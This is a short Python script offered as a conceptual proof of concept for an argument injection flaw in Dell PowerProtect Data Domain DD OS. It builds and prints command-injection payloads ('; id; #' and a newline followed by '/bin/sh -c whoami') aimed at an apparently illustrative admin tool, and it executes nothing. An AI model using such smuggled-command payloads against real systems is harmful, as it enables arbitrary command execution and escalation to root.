# CVE-2025-36565 - Dell PowerProtect Data Domain Argument Injection PoC # This is a conceptual PoC demonstrating the argument injection vulnerability # in Dell PowerProtect Data Domain DD OS #!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-36565 Vulnerability: Argument Injection in DD OS commands Requirement: Local access with high privileges (PR:H) Impact: Arbitrary command execution, privilege escalation to root """ import subprocess import os def exploit_argument_injection(target_command, user_input): """ Demonstrates how argument injection works when user input is not properly sanitized for command argument delimiters. In vulnerable DD OS versions, certain admin commands accept user-supplied arguments that are passed directly to system calls without proper neutralization of argument delimiters (spaces, etc.) """ # Vulnerable pattern: user input concatenated directly into command # Example: A DD OS utility might call system() with user input like: # system("ddadmin-tool --option " + user_input) # Malicious input can inject additional arguments or commands # by using argument delimiters (spaces, newlines, etc.) # Example malicious payload: malicious_payload = user_input + " --extra-flag '; id; #'" print(f"[*] Target command: {target_command}") print(f"[*] Malicious payload: {malicious_payload}") print(f"[*] In vulnerable DD OS, this would execute arbitrary commands") # Conceptual demonstration of the injection # In real exploitation on DD OS: # 1. Attacker has high-privilege local shell access # 2. Identifies a DD OS command that passes user input unsafely # 3. Injects argument delimiters to execute arbitrary commands # 4. Escalates privileges to root return malicious_payload # Example usage on vulnerable DD OS if __name__ == "__main__": # Simulate a vulnerable DD OS command # e.g., a DD OS management utility that takes user-supplied hostname/argument vulnerable_cmd = "/usr/bin/ddadmin-tool --query" # Attacker injects argument delimiters to execute arbitrary commands attacker_input = "legit_arg\n; /bin/sh -c 'whoami'" result = exploit_argument_injection(vulnerable_cmd, attacker_input) print(f"\n[+] Exploit payload constructed: {result}") print("[!] This payload would allow arbitrary command execution on vulnerable DD OS")
